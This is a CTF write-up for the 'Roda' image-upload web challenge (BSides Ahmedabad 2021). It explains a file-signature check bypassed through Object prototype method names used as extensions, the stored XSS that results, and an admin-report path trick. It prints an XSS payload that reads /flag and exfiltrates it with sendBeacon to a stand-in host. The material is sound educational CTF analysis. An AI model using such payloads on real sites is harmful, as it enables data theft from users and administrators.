# Roda - BSides Ahmedabad CTF 2021 ###### tags: `BSides Ahmedabad CTF 2021` `web` ## Overview - Roda[^roda] is an image sharing-service. After uploading you will be redirected to a path like `/WfteW6oJ`, which is a permalink for the image. - You can upload JPEG or PNG files. If you upload other format files, Roda rejects them. - Images are stored in `/uploads/(UUID).(png|jpg)`. Image pages shows them as `<img>` tag. - Each image page has a button that allows you to let the admin view the page. - The flag is in `/flag`, but only the admin can see it. [^roda]: ろだ (roda) is a slang that means uploader in Japanese. ## Solution ### Bypass file upload validation As the source code for Roda is provided, you can check how the service validates if an uploaded file is JPEG or PNG format. Let's check the handler of `/upload`. It gets the contents of the uploaded file at line 112 first, then it extracts the extension from the original file name at lines 114-115. After the preparation, it checks if the file is valid using `isValidFile` function. The contents and the extension are passed as arguments. ```javascript=102 const upload = multer({ storage, limits: { files: 1, fileSize: 100 * 1024 } }); app.post('/upload', upload.single('file'), (req, res) => { const { file } = req; fs.readFile(file.path, (err, data) => { const buf = new Uint8Array(data); const fileName = file.originalname; const ext = fileName.split('.').slice(-1)[0]; // check if the file is safe if (isValidFile(ext, buf)) { const newFileName = uuidv4() + '.' + ext; fs.writeFile('uploads/' + newFileName, buf, (err, data) => { let id; do { id = generateId(); } while (id in uploadedFiles); uploadedFiles[id] = newFileName; res.json({ status: 'success', id }); }); } else { res.json({ status: 'error', message: 'Invalid file' }); } }); }); ``` `isValidFile` checks if the contents start with the specific bytes corresponding to the extension. The signatures are defined as `SIGNATURES`. As the contents are provided as `Uint8Array`, this function compares the signature and the first bytes of the contents using `compareUint8Arrays` function. It checks if the length of both is the same, then both are compared byte by byte. This check has some problems. Since `SIGNATURES` is not a `Map` but an `Object`, if the extension is `toString`, `valueOf`, or something that `Object` has as a method, a function is selected as a signature. Of course, the result of `!(ext in SIGNATURES)` is `false` if the extension meets the condition, so it can pass the check at line 94. Functions have [`length` property](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/length) that returns the number of parameters. `signature.length` is 0 at line 99 if you select a correct extension, and both `known.length` and `input.length` will be 0 at line 74, and Line 78-82 will be skipped. So, `compareUint8Arrays` always returns `true`. This means that you can upload files other than JPEG and PNG! ```javascript=68 const SIGNATURES = { 'png': new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]), 'jpg': new Uint8Array([0xff, 0xd8]) }; function compareUint8Arrays(known, input) { if (known.length !== input.length) { return false; } for (let i = 0; i < known.length; i++) { if (known[i] !== input[i]) { return false; } } return true; } function isValidFile(ext, data) { // extension should not have special chars if (/[^0-9A-Za-z]/.test(ext)) { return false; } // prevent uploading files other than images if (!(ext in SIGNATURES)) { return false; } const signature = SIGNATURES[ext]; return compareUint8Arrays(signature, data.slice(0, signature.length)); } ``` ### Cross-site scripting Now you can bypass the file upload validation, but how it can be used? To think about it, let's see how uploaded files are treated. The procedure is simple. If the requested file does not exist, or the extension is suspicious, it raises an error as HTML. Then, it sends `Content-Type` header corresponding to the extension and the contents. What happens if the extension is `valueOf` or something like that? `MIME_TYPES` is an `Object` just like `SIGNATURES`, so `MIMES_TYPES[ext]` at line 173 will be a function. `res.type` raises an error if the argument is not suitable, so `res.type(MIME_TYPES[ext]);` fails. As `Content-Type` is set to `text/html` at line 152 even if there is no error until line 173, there will be `Content-Type: text/html` header. This means that if the extension is `valueOf` or something like that, the contents are shown as HTML! ```javascript=141 // show uploaded contents const MIME_TYPES = { 'png': 'image/png', 'jpg': 'image/jpeg' }; app.get('/uploads/:fileName', (req, res) => { const { fileName } = req.params; const path = 'uploads/' + fileName; // no path traversal res.type('text/html'); // prepare for error messages if (/[/\\]|\.\./.test(fileName)) { res.status(403).render('error', { message: 'No hack' }); return; } // check if the file exists try { fs.accessSync(path); } catch (e) { res.status(404).render('error', { message: 'Not found' }); return; } // send proper Content-Type header try { const ext = fileName.split('.').slice(-1)[0]; res.type(MIME_TYPES[ext]); } catch {} fs.readFile(path, (err, data) => { res.send(data); }); }); ``` ### Reporting to admin Now you achieved XSS on Roda, so the last thing you need to do is to let the admin access your payload as below. ```javascript <script> fetch('/flag').then(r => r.text()).then(r => { navigator.sendBeacon('https://example.com/log.php', r); }); </script> ``` If the path of the image page is `/WfteW6oJ`, a report is sent to `/WfteW6oJ/report` as POST. But, since the admin will access the image page, not the image directly, the image will be loaded via `<img>` tag, so even though your image has a script, it will not be executed. ![](https://i.imgur.com/4ovsfyX.png) Let's check the source code to find a way to bypass it. The path posted is extracted using [Express function](https://expressjs.com/en/guide/routing.html#route-parameters). There is no check about the id, so if you can change `id` parameter as `upload/(UUID).valueOf`, it means that you win. ```javascript=199 // report image to admin app.post('/:id/report', async (req, res) => { const { id } = req.params; const { token } = req.query; /* const params = `?secret=${RECAPTCHA_SECRET_KEY}&response=${encodeURIComponent(token)}`; const url = 'https://www.google.com/recaptcha/api/siteverify' + params; const result = await axios.get(url); if (!result.data.success) { res.json({ status: 'error', message: 'reCAPTCHA failed' }); return; } */ redis.rpush('query', id); redis.llen('query', (err, result) => { console.log('[+] reported:', id); console.log('[+] length:', result); res.json({ status: 'success', length: result }); }) }) ``` Percent encoding is the way to do it. Let's replace the function of reporting with the following function and press the report button. You will get the flag 🐈 ```javascript async function onSubmit(token) { const button = document.getElementById('recaptcha'); button.disabled = true; const result = await (await fetch('/uploads%2f(UUID).valueOf/report?token=' + token, { method: 'POST' })).json(); button.textContent = '\u{1f6a9}Thanks for the report! Queue length: ' + result.length; button.disabled = true; } ``` ``` Neko{S4EoMHlo608?t=2m30s} ```